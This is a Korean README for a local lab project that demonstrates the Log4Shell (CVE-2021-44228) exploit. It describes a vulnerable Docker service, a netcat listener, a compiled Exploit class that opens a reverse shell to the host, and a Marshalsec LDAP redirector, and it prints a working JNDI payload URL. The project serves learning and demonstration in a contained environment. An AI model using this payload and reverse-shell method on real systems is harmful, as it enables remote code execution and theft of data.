
CVE-2021-44228 취약점을 악용하는 방법을 제시합니다.
CVE-2021-44228 취약점을 악용하는 방법을 보여주는 Java 기반 프로젝트입니다.
jdk1.8.0_181 디렉터리에 그대로 둡니다.make all을 실행하여 모든 프로젝트를 빌드하고 취약한 서비스가 포함된 Docker 이미지를 생성합니다.make start-vulnerable-service로 악용 대상 서비스를 실행하는 Docker 컨테이너를 시작합니다. 서비스는 로컬 머신 포트 8080을 통해 접근할 수 있습니다.make start-nc로 침투한 서버와의 연결을 기다리는 TCP 리스너를 시작합니다.make start-exploiter로 취약점 악용을 도와줄 프로그램을 시작합니다.make start-nc가 실행된 터미널)을 확인합니다. Connection received on 172.24.0.2 46638 같은 메시지를 받았을 것입니다(IP 주소와 TCP 포트는 여기 제시된 것과 다를 수 있습니다). 이는 악용이 성공하여 서버/Docker 컨테이너에 셸이 연결되었음을 의미합니다.whoami 명령어를 실행해 보세요. root가 출력될 수 있습니다.cat ../private-directory/my-secret-file.txt를 실행하여 어떤 일이 일어나는지 확인해 보세요. 🙂그 질문에 답하기 전에, 전체 흐름에서 생성되는 프로세스들을 살펴보겠습니다.

이 Docker 컨테이너는 /log 경로에서 input 매개변수를 포함한 GET 요청을 수신하는 간단한 HTTP 서비스를 제공합니다. 요청을 수신하면 입력값을 콘솔에 기록합니다.
취약점을 악용하려면 몇 가지 특정 구성이 필요합니다:
1.8.0_181입니다. 이는 외부 서비스에서 Java 클래스를 로드할 수 있도록 하는 데 필요합니다.spring-boot-starter-logging:2.6.1을 spring-boot-starter-log4j2:2.6.1로 교체해야 합니다. 후자는 프로젝트에 log4j-core:2.14.1을 가져오며, 이는 CVE-2021-44228에 취약한 버전입니다.
1.8.0_181로 생성되었습니다.여기에는 특별한 설명이나 조정이 없습니다. TCP 및 UDP 프로토콜을 통해 데이터를 읽고 쓰는 데 사용되는 간단한 프로그램입니다. 포트 9001에서 들어오는 TCP 연결을 계속 수신하는 데 사용할 것입니다(다른 무언가가 서버 쪽에서 우리를 위해 이 연결을 열어줄 것입니다. 😉).
연결이 수립되면 들어오는 모든 데이터가 콘솔에 출력됩니다. 또한 입력된 모든 내용은 이 연결을 통해 전송됩니다.
이제부터가 진짜 재미있는 부분입니다!
이 프로그램은 취약점을 악용하는 데 필요한 여러 단계를 캡슐화합니다. 하나씩 살펴보겠습니다:
이 프로그램을 실행하려면 세 가지 매개변수를 지정해야 합니다:
프로그램이 시작되면 템플릿을 기반으로 Java 코드를 작성합니다. 이 템플릿에는 Netcat IP 주소와 포트라는 두 가지 인자가 필요합니다.
코드가 작성되면 프로그램은 Java 컴파일러(javac) 버전 1.8.0_181을 사용하여 이를 바이너리 클래스 파일로 컴파일합니다. 이는 악용 대상 서비스와 동일한 코드 버전을 유지하는 데 중요합니다.
Exploit Java 클래스는 비교적 단순한 구조를 가지고 있습니다. 생성자에는 운영 체제에 셸 프로그램 생성을 요청하는 명령이 있습니다. 셸이 생성되면 클래스는 Netcat과 TCP 연결을 열고, 셸과 TCP 연결의 입력 및 출력을 바인딩한 다음, Netcat이 연결을 닫을 때까지 Java 가상 머신 실행을 루프에 가둡니다. 루프가 종료되면 생성자는 아무 일도 없었던 것처럼 계속 진행됩니다.
악용 프로그램은 Marshalsec Java 프로그램을 실행하도록 서브프로세스를 엽니다. Marshalsec 프로그램은 mbechler/marchalsec GitHub 프로젝트에서 확인할 수 있습니다.
다른 기능과 함께 LDAP 요청을 관리하며, 들어오는 연결에 외부 소스에서 Java 클래스를 다운로드하여 요청을 해결하도록 요청하는 데 사용할 수 있습니다. 우리의 경우, 들어오는 연결에 HTTP 서비스에서 우리의 Exploit Java 클래스를 다운로드하도록 요청하는 데 사용할 것입니다.
악용 프로그램이 조작된 Java 클래스를 생성하면, 단일 응답을 제공하는 HTTP 서비스를 시작합니다: Exploit 바이너리 Java 클래스입니다.
간단히 말하면, 취약한 서비스가 외부 클래스 로드를 요청하면, 이 서비스는 Java 클래스 바이너리 파일을 읽어 취약한 서비스에 다시 보내줍니다. 그게 전부입니다!
모든 것이 준비되어 실행되면, 프로그램은 악용을 트리거하는 데 필요한 HTTP 요청을 출력합니다. 그냥 복사하여 즐겨 사용하는 브라우저에 붙여넣거나 터미널에서 curl로 실행하면 됩니다. 가장 편한 방법을 선택하세요!
요청은 다음과 비슷할 것입니다:
http://localhost:8080/log?input=%24%7Bjndi%3Aldap%3A%2F%2Fhost.docker.internal%3A1389%2Fa%7D
쿼리 매개변수에는 특수 문자가 포함되어 있으므로 브라우저가 이를 수용할 수 있도록 인코딩되어야 합니다. 이를 디코딩하면 메시지는 다음과 같습니다:
http://localhost:8080/log?input=${jndi:ldap://host.docker.internal:1389/a}
요청이 전송된 후 일어나는 일을 간략히 나타낸 다이어그램입니다:

이 다이어그램을 사용하여 그다음에 일어나는 일을 설명하겠습니다:
${jndi:ldap://host.docker.internal:1389/a}.a 키를 사용하여 host.docker.internal:1389에서 LDAP 프로토콜을 통해 검색되어야 합니다(별로 대단치 않고 유효하지 않은 LDAP distinguished name이지만, 뭐, 작동만 하면 되니까요...). 그러면 log4j는 값을 검색하기 위해 이 주소로 요청을 보냅니다.참고: host.docker.internal은 Docker 서비스가 실행 중인 물리적 머신에 도달하기 위한 유효한 주소입니다.
host.docker.internal:8000에 있는 Exploit이라는 이름의 Java 클래스 파일을 다운로드하도록 요청합니다./Exploit 경로에 있는 리소스를 얻기 위해 host.docker.internal:8000으로 요청을 보냅니다.Exploit 바이너리 Java 클래스를 보내며 요청에 응답합니다.Exploit() 생성자 메서드를 실행하여 변수를 해결하기 위해 클래스를 인스턴스화하려고 시도합니다.Exploit() 생성자 메서드는 서버에서 셸 프로그램을 시작하고 host.docker.internal:9001과 TCP 채널을 열도록 요청합니다.Exploit() 생성자 메서드는 셸 입력 및 출력을 TCP 연결과 바인딩하고, TCP 연결이 상대방에 의해 닫힐 때까지 Java Virtual Machine 스레드를 루프에 가둡니다.TBD
kozmer/log4j-shell-poc GitHub 프로젝트 - 악용이 어떻게 동작하는지 이해하는 데 도움이 되었습니다. 이 프로젝트에 기여한 모든 분들께 감사드립니다!
mbechler/marchalsec GitHub 프로젝트 - 이 프로젝트가 없었다면 LDAP 통신 및 리디렉션을 이렇게 빨리 처리할 수 없었을 것입니다. 감사합니다!
SrcCodes Log4j 취약점 동영상 - Spring 기반 프로그램에서 악용을 시작하는 방법을 잘 설명해 주는 동영상입니다.
Nowcomm CVE-2021-44228 악용 데모 동영상 - Apache Solr에서 CVE-2021-44228을 악용하는 방법을 설명하는 좋은 동영상입니다. 실제로 무슨 일이 일어나는지 이해하려고 후반부를 수십 번 봐야 했습니다! 😛
CTRL+C를 눌러 연결을 종료합니다.CTRL+C를 눌러 프로세스를 중단할 수 있습니다.